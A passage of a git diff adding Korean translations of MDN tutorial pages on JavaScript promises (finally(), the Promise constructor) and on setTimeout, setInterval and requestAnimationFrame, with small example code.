+  doSomething(response);
+  runFinalCode();
+})
+.catch(e => {
+  returnError(e);
+  runFinalCode();
+});
+ +

보다 최근의 현대 브라우저에서는 .finally() 메서드를 사용할 수 있습니다. 이 메서드를 Promise 체이닝의 끝에 배치하여 코드 반복을 줄이고 좀 더 우아하게 일을 처리할 수 있습니다. 아래와 같이 마지막 블럭에 적용할 수 있습니다. :

+ +
myPromise
+.then(response => {
+  doSomething(response);
+})
+.catch(e => {
+  returnError(e);
+})
+.finally(() => {
+  runFinalCode();
+});
+ +

실제 예시는 promise-finally.html demo 에 나와있습니다. (see the source code also). 이 예시는 위에서 만들어본 Promise.all() 데모와 똑같이 작동합니다. 다만 이번에는 fetchAndDecode() 함수에 다음 연쇄 작업으로 finally() 를 호출합니다.:

+ +
function fetchAndDecode(url, type) {
+  return fetch(url).then(response => {
+    if(type === 'blob') {
+      return response.blob();
+    } else if(type === 'text') {
+      return response.text();
+    }
+  })
+  .catch(e => {
+    console.log(`There has been a problem with your fetch operation for resource "${url}": ` + e.message);
+  })
+  .finally(() => {
+    console.log(`fetch attempt for "${url}" finished.`);
+  });
+}
+ +

이 로그는 각 fetch시도가 완료되면 콘솔에 메시지를 출력하여 사용자에게 알려줍니다.

+ +
+

Note: then()/catch()/finally() is the async equivalent to try/catch/finally in sync code.

+
+ +

Building your own custom promises

+ +

여기까지 오느라 수고하셨습니다. 여기까지 오면서 우리는 Promise를 직접 만들어봤습니다. 여러 개의 Promise를 .then() 을 사용하여 체이닝 하거나 사용자 정의함수를 조합하여, 비동기 Promise기반 함수를 만들었습니다. 이전에 만든 fetchAndDecode() 함수가 이를 잘 보여주고있죠.

+ +

다양한 Promise 기반 API를 결합하여 사용자 정의 함수를 만드는 것은, Promise와 함께 원하는 기능을 만드는 가장 일반적인 방법이며, 대부분 모던 API는 이와 같은 원리를 기반으로 만들어지고 있습니다. 그리고 또 다른 방법이 있습니다.

+ +

Using the Promise() constructor

+ +

Promise() constructor를 사용하여 사용자 정의 Promise를 만들 수 있습니다. 주로 Promise기반이 아닌 구식 비동기 API코드를 Promise기반 코드로 만들고 싶을 경우 사용합니다. 이 방법은 구식 프로젝트 코드, 라이브러리, 혹은 프레임워크를 지금의 Promise 코드와 함께 사용할 때 유용합니다.

+ +

간단한 예를 들어 살펴보겠습니다. — 여기 Promise와 함께 사용되는 setTimeout() 호출이 있습니다. — 이 함수는 2초 후에 "Success!"라는 문자열과 함께 resolve됩니다. (통과된 resolve() 호출에 의해);

+ +
let timeoutPromise = new Promise((resolve, reject) => {
+  setTimeout(function(){
+    resolve('Success!');
+  }, 2000);
+});
+ +

resolve()reject() 는 Promise의 fulful / reject일때의 일을 수행하기 위해 호출한 함수입니다. 이번의 경우 Promise는 "Success!"문자와 함께 fulfill 됐습니다.

+ +

따라서 이 Promise를 호출할 때, 그 끝에 .then() 블럭을 사용하면 "Success!" 문자열이 전달될 것입니다. 아래 코드는 간단한 alert메시지를 출력하는 방법 입니다. :

+ +
timeoutPromise
+.then((message) => {
+   alert(message);
+})
+ +

혹은 아래처럼 쓸 수 있죠

+ +
timeoutPromise.then(alert);
+
+ +

Try running this live to see the result (also see the source code).

+ +

위의 예시는 유연하게 적용된 예시가 아닙니다. — Promise는 항산 하나의 문자열로만 fulfil됩니다. 그리고 reject() 조건도 정의되어있지 않습니다. (사실, setTimeout() 은 실패 조건이 필요없습니다, 그러니 이 예제에서는 없어도 됩니다.).

+ +
+

Note: Why resolve(), and not fulfill()? The answer we'll give you, for now, is it's complicated.

+
+ +

Rejecting a custom promise

+ +

reject() 메서드를 사용하여 Promise가 reject상태일 때 전달할 값을 지정할 수 있습니다. —  resolve()와 똑같습니다. 여기엔 하나의 값만 들어갈 수 있습니다. Promise가 reject 되면 에러는 .catch() 블럭으로 전달됩니다.

+ +

이전 예시를 좀 더 확장하여 reject() 을 추가하고, Promise가 fulfil일 때 다른 메시지도 전달할 수 있게 만들어봅시다.

+ +

이전 예시 previous example를 복사한 후 이미 있는 timeoutPromise() 함수를 아래처럼 정의해주세요. :

+ +
function timeoutPromise(message, interval) {
+  return new Promise((resolve, reject) => {
+    if (message === '' || typeof message !== 'string') {
+      reject('Message is empty or not a string');
+    } else if (interval < 0 || typeof interval !== 'number') {
+      reject('Interval is negative or not a number');
+    } else {
+      setTimeout(function(){
+        resolve(message);
+      }, interval);
+    }
+  });
+};
+ +

함수를 살펴보면 두 가지 매개변수가 있습니다. — 출력할 메시지와(message) 메시지를 출력할 때 까지 기다릴 시간(interval)입니다. 맨 위에 Promise 오브젝트를 반환하도록 되어있습니다. 따라서 함수를 실행하면 우리가 사용하고 싶은 Promise가 반환될 것 입니다..

+ +

Promise constructor 안에는 몇가지 사항을 확인하기 위해 if ... else 구문이 있습니다. :

+ +
    +
  1. 첫번째로 메시지의 유효성을 검사합니다. 메시지가 비어있거나 문자가 아닌 경우, 에러 메시지와 함께 Promise를 reject합니다.
  2. +
  3. 그 다음으로 interval의 유효성을 검사합니다. 숫자가 아니거나 음수일 경우, 에러 메시지와 함께 Promise를 reject합니다.
  4. +
  5. 마지막은 항목은, 두 매개변수를 확인하여 유효할 경우 setTimeout()함수에 지정된 interval에 맞춰 Promise를 resolve합니다.
  6. +
+ +

timeoutPromise() 함수는 Promise를 반환하므로,  .then(), .catch(), 기타등등 을 사용해 Promise 체이닝을 만들 수 있습니다. 아래와 같이 작성해봅시다. — 기존에 있는 timeoutPromise 를 삭제하고 아래처럼 바꿔주세요. :

+ +
timeoutPromise('Hello there!', 1000)
+.then(message => {
+   alert(message);
+})
+.catch(e => {
+  console.log('Error: ' + e);
+});
+ +

이 코드를 저장하고 브라우저를 새로 고침하면 1초 후에 'Hello there!' alert가 출력될 것 입니다. 이제 메시지 내용을 비우거나 interval을 음수로 지정해보세요 그렇게 하면 Promise가 reject되며 에러 메시지를 콘솔에 출력해 줄 것입니다. 또한 resolved 메시지를 다르게 만들어 줄 수도 있습니다.

+ +
+

Note: You can find our version of this example on GitHub as custom-promise2.html (see also the source code).

+
+ +

A more real-world example

+ +

위의 예제는 개념을 이해하기 쉽게 단순하게 만들었지만, 실제로 그다지 비동기적이지는 않습니다. 억지로 비동기적 작업을 구현하기 위해 setTimeout()을 사용하여 함수를 만들었지만 사용자 정의 Promise를 만들고 에러를 다루기엔 충분한 예제였습니다.

+ +

좀 더 공부해볼 추가내용을 소개해주고 싶습니다. 바로 Jake Archibald's idb library입니다 이 라이브러리는 Promise() constructor의 비동기작업 응용을 보여주는 유용한 라이브러리 입니다. 클라이언트측에서 데이터를 저장하고 검색하기 위한 구식 callback 기반 API로 Promise와 함께 사용하는 IndexedDB API입니다. main library file을 살펴보면 우리가 지금까지 다뤄본것과 같은 종류의 테크닉을 볼 수 있습니다. 아래 코드 블록은 basic request model이 Promise를 사용하게끔 변환해 주는 IndexedDB 메서드 입니다. :

+ +
function promisifyRequest(request) {
+  return new Promise(function(resolve, reject) {
+    request.onsuccess = function() {
+      resolve(request.result);
+    };
+
+    request.onerror = function() {
+      reject(request.error);
+    };
+  });
+}
+ +

우리가 했던것 처럼 적절한 타이밍에 Promise를 fulfil하고 reject하는 이벤트 핸들러를 두 개 추가했습니다. :

+ + + +

Conclusion

+ +

Promises are a good way to build asynchronous applications when we don’t know the return value of a function or how long it will take to return. They make it easier to express and reason about sequences of asynchronous operations without deeply nested callbacks, and they support a style of error handling that is similar to the synchronous try...catch statement.

+ +

Promises work in the latest versions of all modern browsers; the only place where promise support will be a problem is in Opera Mini and IE11 and earlier versions.

+ +

We didn't touch on all promise features in this article, just the most interesting and useful ones. As you start to learn more about promises, you'll come across further features and techniques.

+ +

Most modern Web APIs are promise-based, so you'll need to understand promises to get the most out of them. Among those APIs are WebRTC, Web Audio API, Media Capture and Streams, and many more. Promises will be more and more important as time goes on, so learning to use and understand them is an important step in learning modern JavaScript.

+ +

See also

+ + + +

{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous/Async_await", "Learn/JavaScript/Asynchronous")}}

+ +

In this module

+ + diff --git a/files/ko/learn/javascript/asynchronous/timeouts_and_intervals/index.html b/files/ko/learn/javascript/asynchronous/timeouts_and_intervals/index.html new file mode 100644 index 0000000000..1f3d4f2a6a --- /dev/null +++ b/files/ko/learn/javascript/asynchronous/timeouts_and_intervals/index.html @@ -0,0 +1,598 @@ +--- +title: 'Cooperative asynchronous JavaScript: Timeouts and intervals' +slug: Learn/JavaScript/Asynchronous/Timeouts_and_intervals +translation_of: Learn/JavaScript/Asynchronous/Timeouts_and_intervals +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous")}}
+ +

이 장에서는 자바스크립트가 설정된 시간이 경과하거나 혹은 정해진 시간 간격(예 : 초당 설정된 횟수)으로 비동기 코드를 작동하는 전형적인 방법을 살펴본다. 그리고 이 방법들이 어떤 것에 유용한지 얘기해 보고, 그 본질적인 문제에 대해 살펴본다.

+ + + + + + + + + + + + +
Prerequisites:Basic computer literacy, a reasonable understanding of JavaScript fundamentals.
Objective:To understand asynchronous loops and intervals and what they are useful for.
+ +

Introduction

+ +

오랜 시간 동안 웹플랫폼은 자바스크립트 프로그래머가 일정한 시간이 흐른 뒤에 비동기적 코드를 실행할 수 있게하는 다양한 함수들을 제공해 왔다. 그리고 프로그래머가 중지시킬 때까지 코드 블록을 반복적으로 실행하기 위한 다음과 같은 함수들이 있다.

+ +
+
setTimeout()
+
특정 시간이 경과한 뒤에 특정 코드블록을 한번 실행한다.
+
+
setInterval()
+
각각의 호출 간에 일정한 시간 간격으로 특정 코드블록을 반복적으로 실행한다.
+
requestAnimationFrame()
+
setInterval()의 최신 버전; 그 코드가 실행되는 환경에 관계없이 적절한 프레임 속도로 애니메이션을 실행시키면서, 브라우저가 다음 화면을 보여주기 전에 특정 코드블록을 실행한다.
+
+ +

이 함수들에 의해 설정된 비동기 코드는 메인 스레드에서 작동한다. 그러나 프로세서가 이러한 작업을 얼마나 많이 수행하는지에 따라, 코드가 반복되는 중간에 다른 코드를 어느 정도 효율적으로 실행할 수 있다. 어쨌든 이러한 함수들은 웹사이트나 응용 프로그램에서 일정한 애니메이션 및 기타 배경 처리를 실행하는 데 사용된다. 다음 섹션에서는 그것들을 어떻게 사용할 수 있는지 보여줄 것이다.

+ +

setTimeout()

+ +

앞에서 언급했듯이 setTimeout ()은 지정된 시간이 경과 한 후 특정 코드 블록을 한 번 실행한다. 그리고 다음과 같은 파라미터가 필요하다.:

+ + + +
+

Note: 타임아웃 콜백은 단독으로 실행되지 않기 때문에 지정된 시간이 지난 그 시점에 정확히  콜백 될 것이라는 보장은 없다. 그보다는 최소한 그 정도의 시간이 지난 후에 호출된다. 메인 스레드가 실행해야 할 핸들러를 찾기 위해 이런 핸들러들을 살펴보는 시점에 도달할 때까지 타임아웃 핸들러를 실행할 수 없다.

+
+ +

아래 예제에서 브라우저는 2분이 지나면 익명의 함수를 실행하고 경보 메시지를 띄울 것이다. (see it running live, and see the source code):

+ +
let myGreeting = setTimeout(function() {
+  alert('Hello, Mr. Universe!');
+}, 2000)
+ +

지정한 함수가 꼭 익명일 필요는 없다. 함수에 이름을 부여 할 수 있고, 다른 곳에서 함수를 정의하고 setTimeout ()에 참조(reference)를 전달할 수도 있다. 아래 코드는 위의 코드와 같은 실행 결과를 얻을 수 있다. 

+ +
// With a named function
+let myGreeting = setTimeout(function sayHi() {
+  alert('Hello, Mr. Universe!');
+}, 2000)
+
+// With a function defined separately
+function sayHi() {
+  alert('Hello Mr. Universe!');
+}
+
+let myGreeting = setTimeout(sayHi, 2000);
+ +

예를 들자면 timeout 함수와 이벤트에 의해 중복 호출되는 함수를 사용하려면 이 방법이 유용할 수 있다. 이 방법은 코드라인을 깔끔하게  정리하는 데 도움을 준다. 특히 timeout 콜백의 코드라인이 여러 줄이라면 더욱 그렇다.  

+ +

setTimeout ()은 나중에 타임아웃을 할 경우에 타임아웃을 참조하는데 사용하는 식별자 값을 리턴한다.  그 방법을 알아 보려면 아래{{anch("Clearing timeouts")}}을 참조하세요.

+ +

setTimeout () 함수에 매개변수(parameter) 전달

+ +

setTimeout () 내에서 실행되는 함수에 전달하려는 모든 매개변수는 setTimeout () 매개변수 목록 끝에 추가하여 전달해야 한다. 아래 예제처럼, 이전 함수를 리팩터링하여 전달된 매개변수의 사람 이름이 추가된 문장을 표시할 수 있다.

+ +
function sayHi(who) {
+  alert('Hello ' + who + '!');
+}
+ +

Say hello의 대상이 되는 사람이름은 setTimeout()의 세번째 매개변수로 함수에 전달된다.

+ +
let myGreeting = setTimeout(sayHi, 2000, 'Mr. Universe');
+ +

timeout 취소

+ +

마지막으로 타임아웃이 생성되면(setTimeout()이 실행되면) 특정시간이 경과하기 전에 clearTimeout()을 호출하여 타임아웃을 취소할 수 있다.  clearTimeout()은  setTimeout()콜의 식별자를 매개변수로  setTimeout()에 전달한다. 위 예제의 타임아웃을 취소하려면 아래와 같이 하면 된다.

+ +
clearTimeout(myGreeting);
+ +
+

Note: 인사를 할 사람의 이름을 설정하고 별도의 버튼을 사용하여 인사말을 취소 할 수있는 약간 더 복잡한 폼양식 예제인  greeter-app.html 을 참조하세요.

+
+ +

setInterval()

+ +

setTimeout ()은 일정 시간이 지난 후 코드를 한 번 실행해야 할 때 완벽하게 작동합니다. 그러나 애니메이션의 경우와 같이 코드를 반복해서 실행해야 할 경우 어떨까요?

+ +

이럴 경우에 setInterval ()이 필요합니다. setInterval ()은 setTimeout ()과 매우 유사한 방식으로 작동합니다. 다만 setTimeout ()처럼 첫 번째 매개 변수(함수)가 타임아웃 후에 한번 실행되는게 아니라 두 번째 매개 변수에 주어진 시간까지 반복적으로 실행되는 것이 차이점입니다.  setInterval() 호출의 후속 파라미터로 실행 중인 함수에 필요한 파라미터를 전달할 수도 있다.

+ +

예를 들어 봅시다. 다음 함수는 새 Date() 객체를 생성한 후에 ToLocaleTimeString()을 사용하여 시간데이터를 문자열로 추출한 다음 UI에 표시합니다. 그리고 setInterval()을 사용하여 초당 한 번 함수(displayTime)를 실행하면 초당 한 번 업데이트되는 디지털 시계와 같은 효과를 만들어냅니다.(see this live, and also see the source): 

+ +
function displayTime() {
+   let date = new Date();
+   let time = date.toLocaleTimeString();
+   document.getElementById('demo').textContent = time;
+}
+
+const createClock = setInterval(displayTime, 1000);
+ +

setTimeout()과 같이 setInterval()도 식별자 값을 리턴하여 나중에 interval을 취소해야 할 때 사용한다.

+ +

interval 취소

+ +

setInterval ()은 아무 조치를 취하지 않으면 끊임없이 계속 실행됩니다. 이 상태를 중지하는 방법이 필요합니다. 그렇지 않으면 브라우저가 추가 작업을 완료 할 수 없거나, 현재 처리 중인 애니메이션이 완료되었을 때 오류가 발생할 수 있습니다. setTimeout()과 같은 방식으로 setInterval () 호출에 의해 반환 된 식별자를 clearInterval () 함수에 전달하여 이 작업을 취소할수 있습니다.

+ +
const myInterval = setInterval(myFunction, 2000);
+
+clearInterval(myInterval);
+ +

능동학습 : 자신만의 스톱워치를 만들기.

+ +

위에서 모두 설명해 드렸으니, 과제를 드리겠습니다. setInterval-clock.html 예제를 수정하여 자신만의 간단한 스톱워치를 만들어 보세요.

+ +

위에서 설명(디지털 시계)한 것처럼 시간을 표시해야 하고, 이 예제에서는 아래 기능을 추가하세요.

+ + + +

몇가지 힌트를 드립니다.

+ + + +
+

Note: If you get stuck, you can find our version here (see the source code also).

+
+ +

setTimeout()과 setInterval()에서 주의해야할 것 들

+ +

setTimeout()과 setInterval()에는 몇가지 주의해야 할 것들이 있습니다. 어떤 것인지 한번 살펴보겠습니다.

+ +

순환 timeouts

+ +

setTimeout()을 사용하는 또 다른 방법입니다. 바로 setInterval()을 사용하는 대신 setTimeout()을 이용해 같은코드를 반복적으로 실행시키는 방법입니다.

+ +

The below example uses a recursive setTimeout() to run the passed function every 100 milliseconds: 아래 예제에서는 setTimeout()이 주어진 함수를 100밀리세컨드마다 실행합니다.

+ +
let i = 1;
+
+setTimeout(function run() {
+  console.log(i);
+  i++;
+  setTimeout(run, 100);
+}, 100);
+ +

위 예제를 아래 예제와 비교해 보세요. 아래 예제는 setInterval()을 사용하여 같은 결과를 얻을 수 있습니다.

+ +
let i = 1;
+
+setInterval(function run() {
+  console.log(i);
+  i++
+}, 100);
+ +

그렇다면 순환 setTimeout()과 setInterval()은 어떻게 다를까요?

+ +

두 방법의 차이는 미묘합니다.

+ + + +

코드가 지정한 시간 간격보다 실행 시간이 오래 걸리면 순환 setTimeout ()을 사용하는 것이 좋습니다. 이렇게하면 코드 실행 시간에 관계없이 실행 간격이 일정하게 유지되어 오류가 발생하지 않습니다.

+ +

즉시 timeouts

+ +

setTimeout()의 값으로 0을 사용하면 메인 코드 스레드가 실행된 후에 가능한 한 빨리 지정된 콜백 함수의 실행을 예약할 수 있다.

+ +

예를 들어 아래 코드 (see it live) 는 "Hello"가 포함된 alert를 출력 한 다음 첫 번째 경고에서 OK를 클릭하자마자 "World"가 포함된 alert를 출력합니다.

+ +
setTimeout(function() {
+  alert('World');
+}, 0);
+
+alert('Hello');
+ +

이것은 모든 메인 스레드의 실행이 완료되자마자 실행되도록 코드 블록을 설정하려는 경우 유용할 할 수 있습니다. 비동기 이벤트 루프에 배치하면 곧바로 실행될 겁니다.

+ +

clearTimeout() 와 clearInterval()의 취소기능

+ +

clearTimeout ()과 clearInterval ()은 모두 동일한 entry를 사용하여 대상 메소드(setTimeout () 또는 setInterval ())을 취소합니다. 흥미롭게도 이는 setTimeout () 또는 setInterval ()을 지우는 데 clearTimeout ()과 clearInterval ()메소드 어느 것을 사용해도 무방합니다.

+ +

그러나 일관성을 유지하려면 clearTimeout ()을 사용하여 setTimeout () 항목을 지우고 clearInterval ()을 사용하여 setInterval () 항목을 지우십시오. 혼란을 피하는 데 도움이됩니다.

+ +

requestAnimationFrame()

+ +

requestAnimationFrame ()은 브라우저에서 애니메이션을 효율적으로 실행하기 위해 만들어진 특수한 반복 함수입니다. 근본적으로 setInterval ()의 최신 버전입니다. 브라우저가 다음에 디스플레이를 다시 표시하기 전에 지정된 코드 블록을 실행하여 애니메이션이 실행되는 환경에 관계없이 적절한 프레임 속도로 실행될 수 있도록합니다.

+ +

setInterval ()을 사용함에 있어 알려진 문제점을 개선하기위해 만들어졌습니다. 예를 들어 장치에 최적화 된 프레임 속도로 실행되지 않는 문제,  때로는 프레임을 빠뜨리는 문제,  탭이 활성 탭이 아니거나 애니메이션이 페이지를 벗어난 경우에도 계속 실행되는 문제 등등이다 . CreativeJS에서 이에 대해 자세히 알아보십시오.

+ +
+

Note: requestAnimationFrame() 사용에 관한 예제들은 이 코스의 여러곳에서 찾아볼 수 있습니다. Drawing graphics 와 Object building practice 의 예제를 찾아 보세요.

+
+ +

이 메소드는 화면을 다시 표시하기 전에 호출 할 콜백을 인수로 사용합니다. 이것이 일반적인 패턴입니다. 아래는 사용예를 보여줍니다.

+ +
function draw() {
+   // Drawing code goes here
+   requestAnimationFrame(draw);
+}
+
+draw();
+ +

그 발상은 애니메이션을 업데이트하는 함수 (예 : 스프라이트 이동, 스코어 업데이트, 데이터 새로 고침 등)를 정의한 후 그것을 호출하여 프로세스를 시작하는 것입니다. 함수 블록의 끝에서 매개 변수로 전달 된 함수 참조를 사용하여 requestAnimationFrame ()을 호출하면 브라우저가 다음 화면을 재표시할 때 함수를 다시 호출하도록 지시합니다. 그런 다음 requestAnimationFrame ()을 반복적으로 호출하므로 계속 실행되는 것입니다.

+ +
+

Note: 어떤 간단한  DOM 애니메이션을 수행하려는 경우,   CSS Animations 은 JavaScript가 아닌 브라우저의 내부 코드로 직접 계산되므로 속도가 더 빠릅니다. 그러나 더 복잡한 작업을 수행하고 DOM 내에서 직접 액세스 할 수 없는 객체(예 :2D Canvas API or WebGL objects)를 포함하는 경우 대부분의 경우 requestAnimationFrame ()이 더 나은 옵션입니다. 

+
+ +

여러분의 애니메이션의 작동속도는 얼마나 빠른가요?

+ +

부드러운 애니메이션을 구현은 직접적으로 프레임 속도에 달려 있으며, 프레임속도는 초당 프레임 (fps)으로 측정됩니다. 이 숫자가 높을수록 애니메이션이 더 매끄럽게 보입니다.

+ +

일반적으로 화면 재생률는 60Hz이므로 웹 브라우저를 사용할 때 여러분이 설정할 수 있는 가장 빠른 프레임 속도는 초당 60 프레임 (FPS)입니다. 이 속도보다 빠르게 설정하면 과도한 연산이 실행되어 화면이 더듬거리고 띄엄띄엄 표시될 수 있다. 이런 현상을 프레임 손실 또는 쟁크라고 한다. 

+ +

재생률 60Hz의 모니터에 60FPS를 달성하려는 경우 각 프레임을 렌더링하기 위해 애니메이션 코드를 실행하려면 약 16.7ms(1000/60)가 필요합니다. 그러므로 각 애니메이션 루프를 통과 할 때마다 실행하려고 하는 코드의 양을 염두에 두어야합니다.

+ +

requestAnimationFrame()은 불가능한 경우에도 가능한한 60FPS 값에 가까워 지려고 노력합니다. 실제로 복잡한 애니메이션을 느린 컴퓨터에서 실행하는 경우 프레임 속도가 떨어집니다. requestAnimationFrame ()은 항상 사용 가능한 것을 최대한 활용합니다.

+ +

requestAnimationFrame()이 setInterval(), setTimeout()과 다른점은?

+ +

requestAnimationFrame () 메소드가 이전에 살펴본 다른 메소드와 어떻게 다른지에 대해 조금 더 이야기하겠습니다. 위의 코드를 다시 살펴보면;

+ +
function draw() {
+   // Drawing code goes here
+   requestAnimationFrame(draw);
+}
+
+draw();
+ +

setInterval()을 사용하여 위와 같은 작업을 하는 방법을 살펴봅시다.

+ +
function draw() {
+   // Drawing code goes here
+}
+
+setInterval(draw, 17);
+ +

앞에서언급했듯이 requestAnimationFrame ()은 시간 간격을 지정하지 않습니다. requestAnimationFrame ()은 현재 상황에서 최대한 빠르고 원활하게 실행됩니다. 어떤 이유로 애니메이션이 화면에 표시되지 않으면 브라우저는 그 애니메이션을 실행하는 데 시간을 낭비하지 않습니다.

+ +

반면에 setInterval ()은 특정 시간간격을 필요로 합니다. 1000 ms/60Hz 계산을 통해 최종값 16.6에 도달 한 후 반올림(17)했습니다. 이때 반올림하는 것이 좋습니다. 그 이유는 반내림(16)을하면 60fps보다 빠르게 애니메이션을 실행하려고 하게 되지만 애니메이션의 부드러움에 아무런 영향을 미치지 않기 때문입니다. 앞에서 언급했듯이 60Hz가 표준 재생률입니다.

+ +

timestamp를 포함하기

+ +

requestAnimationFrame() 함수에 전달 된 실제 콜백에는 requestAnimationFrame()이 실행되기 시작한 이후의 시간을 나타내는 timestamp를  매개변수로 제공할 수 있습니다. 장치 속도에 관계없이 특정 시간과 일정한 속도로 작업을 수행할 수 있으므로 유용합니다. 사용하는 일반적인 패턴은 다음과 같습니다.

+ +
let startTime = null;
+
+function draw(timestamp) {
+    if(!startTime) {
+      startTime = timestamp;
+    }
+
+   currentTime = timestamp - startTime;
+
+   // Do something based on current time
+
+   requestAnimationFrame(draw);
+}
+
+draw();
+ +

브라우저 지원

+ +

requestAnimationFrame()은 setInterval() / setTimeout()보다 좀 더 최신 브라우저에서 지원됩니다. 가장 흥미롭게도 Internet Explorer 10 이상에서 사용할 수 있습니다. 따라서 별도의 코드로 이전 버전의 IE를 지원해야할 필요가 없다면, requestAnimationFrame()을 사용하지 않을 이유가 없습니다.

+ +

간단한 예

+ +

지금까지 이론적으로는 충분히 살펴보았습니다. 그러면 직접 requestAnimationFrame() 예제를 작성해 봅시다. 우리는 간단한 "스피너 애니메이션"을 만들 것입니다. 여러분들이 앱 사용중 서버 과부하일 때 이것을 자주 보았을 겁니다.

+ +
+

Note: 실제로는 CSS 애니메이션을 사용하여 이러한 종류의 간단한 애니메이션을 실행해야 합니다. 그러나 이러한 종류의 예제는 requestAnimationFrame() 사용법을 보여주는 데 매우 유용하며, 각 프레임에서 게임의 디스플레이를 업데이트하는 것과 같이 좀 더 복잡한 작업을 수행 할 때 이러한 종류의 기술을 사용하는 것이 좋습니다.

+
+ +
    +
  1. +

    먼저 HTML 템플릿을 여기에서.가져옵니다.

    +
  2. +
  3. +

    <body>안에 빈 <div> 요소를 삽입합니다. 그리고  ↻캐릭터를 그 안에 추가합니다. 이 예제에서 이 원형 화살표가 회전하게됩니다.

    +
  4. +
  5. +

    아래 CSS를 HTML 템플릿에 여러분이 원하는 방식으로 적용하세요. 이 CSS는 페이지 배경을 빨간색으로, <body>의 height를 html height의 100%로 설정합니다. 그리고 <div>를 수직, 수평으로 <body> 중앙에 위치 시킵니다.

    + +
    html {
    +  background-color: white;
    +  height: 100%;
    +}
    +
    +body {
    +  height: inherit;
    +  background-color: red;
    +  margin: 0;
    +  display: flex;
    +  justify-content: center;
    +  align-items: center;
    +}
    +
    +div {
    +  display: inline-block;
    +  font-size: 10rem;
    +}
    +
  6. +
  7. +

    </body> 태크 위에 <script>를 추가하세요.

    +
  8. +
  9. +

    <script> 안에 아래 자바스크립트 코드를 추가하세요. 여기에서 <div>의 참조를 상수로 저장하고, rotateCount 변수를 0으로 설정하고, 나중에 requestAnimationFrame()의 시작 시간을 저장할 startTime 변수를 null로 설정하고, 그리고 requestAnimationFrame() 콜의 참조를 저장할 초기화하지 않은 rAF 변수를 선언합니다.

    + +
    const spinner = document.querySelector('div');
    +let rotateCount = 0;
    +let startTime = null;
    +let rAF;
    +
    +
  10. +
  11. +

    그 아래에 draw() 함수를 추가합니다. 이 함수는 timestamp 매개변수를 포함하는 애니메이션 코드 작성에 사용됩니다.

    + +
    function draw(timestamp) {
    +
    +}
    +
  12. +
  13. +

    draw() 함수안데 다음 코드를 추가합니다. if 조건문으로 startTime이 정의되지 않았다면 startTime을 정의합니다 (루프 반복의 첫번째에만 작동합니다).  그리고 스피너를 회전시키는 rotateCount 변수값을 설정합니다(현재 timestamp는 시작 timestamp를 3으로 나눈 것이라서 그리 빠르지 않습니다).

    + +
      if (!startTime) {
    +   startTime = timestamp;
    +  }
    +
    +  rotateCount = (timestamp - startTime) / 3;
    +
    +
  14. +
  15. +

    draw() 함수 안의 이전 코드 아래에 다음 블록을 추가합니다. 이렇게하면 rotateCount 값이 359보다 큰지 확인합니다 (예 : 360, 완전한 원). 그렇다면 값을 모듈러 360 (즉, 값을 360으로 나눌 때 남은 나머지)으로 설정하여 원 애니메이션이 합리적인 낮은 값으로 중단없이 계속 될 수 있습니다. 꼭 이렇게 해야되는 것은 아니지만 "128000도" 같은 값보다는 0~359 도의 값으로 작업하는 것이 더 쉽습니다.

    + +
    if (rotateCount > 359) {
    +  rotateCount %= 360;
    +}
    +
  16. +
  17. 다음으로 아래 코드를 추가하세요. 실제 스피너를 회전시키는 코드입니다. +
    spinner.style.transform = 'rotate(' + rotateCount + 'deg)';
    +
  18. +
  19. +

     draw() 함수 제일 아래에 다음 코드를 추가합니다. 이 코드는 모든 작업의 키 포인트입니다. draw() 함수를 매개변수로 가져오는 requestAnimationFrame() 콜을 저장하기 위해 앞에서 정의한  rAF 변수를 설정합니다. 이 코드는 애니메이션을 실행시키고, 가능한한 60fps에 근사하게 draw() 함수를 계속 실행합니다.

    + +
    rAF = requestAnimationFrame(draw);
    +
  20. +
+ +
+

Note: You can find this example live on GitHub (see the source code also).

+
+ +

requestAnimationFrame() call의 취소

+ +

cancelAnimationFrame() 메소드를 호출하여 requestAnimationFrame()을 취소할 수 있다. (접두어가 "clear"가 아니고 "cancel"임에 유의) requestAnimationFrame()에 의해서 리턴된 rAF 변수값을 전달받아 취소한다. 

+ +
cancelAnimationFrame(rAF);
+ +

Active learning: Starting and stopping our spinner

+ +

In this exercise, we'd like you to test out the cancelAnimationFrame() method by taking our previous example and updating it, adding an event listener to start and stop the spinner when the mouse is clicked anywhere on the page.

+ +

Some hints:

+ + + +
+

Note: Try this yourself first; if you get really stuck, check out of our live example and source code.

+
+ +

Throttling a requestAnimationFrame() animation

+ +

One limitation of requestAnimationFrame() is that you can't choose your frame rate. This isn't a problem most of the time, as generally you want your animation to run as smoothly as possible, but what about when you want to create an old school, 8-bit-style animation?

+ +

This was a problem for example in the Monkey Island-inspired walking animation from our Drawing Graphics article:

+ +

{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/7_canvas_walking_animation.html", '100%', 260)}}

+ +

In this example we have to animate both the position of the character on the screen, and the sprite being shown. There are only 6 frames in the sprite's animation; if we showed a different sprite frame for every frame displayed on the screen by requestAnimationFrame(), Guybrush would move his limbs too fast and the animation would look ridiculous. We therefore throttled the rate at which the sprite cycles its frames using the following code:

+ +
if (posX % 13 === 0) {
+  if (sprite === 5) {
+    sprite = 0;
+  } else {
+    sprite++;
+  }
+}
+ +

So we are only cycling a sprite once every 13 animation frames. OK, so it's actually about every 6.5 frames, as we update posX (character's position on the screen) by two each frame:

+ +
if(posX > width/2) {
+  newStartPos = -((width/2) + 102);
+  posX = Math.ceil(newStartPos / 13) * 13;
+  console.log(posX);
+} else {
+  posX += 2;
+}
+ +

This is the code that works out how to update the position in each animation frame.

+ +

The method you use to throttle your animation will depend on your particular code. For example, in our spinner example we could make it appear to move slower by only increasing our rotateCount by one on each frame instead of two.

+ +

Active learning: a reaction game

+ +

For our final section of this article, we'll create a 2-player reaction game. Here we have two players, one of whom controls the game using the A key, and the other with the L key.

+ +

When the Start button is pressed, a spinner like the one we saw earlier is displayed for a random amount of time between 5 and 10 seconds. After that time, a message will appear saying "PLAYERS GO!!" — once this happens, the first player to press their control button will win the game.

+ +

{{EmbedGHLiveSample("learning-area/javascript/asynchronous/loops-and-intervals/reaction-game.html", '100%', 500)}}

+ +

Let's work through this.

+ +
    +
  1. +

    First of all, download the starter file for the app — this contains the finished HTML structure and CSS styling, giving us a game board that shows the two players' information (as seen above), but with the spinner and results paragraph displayed on top of one another. We just have to write the JavaScript code.

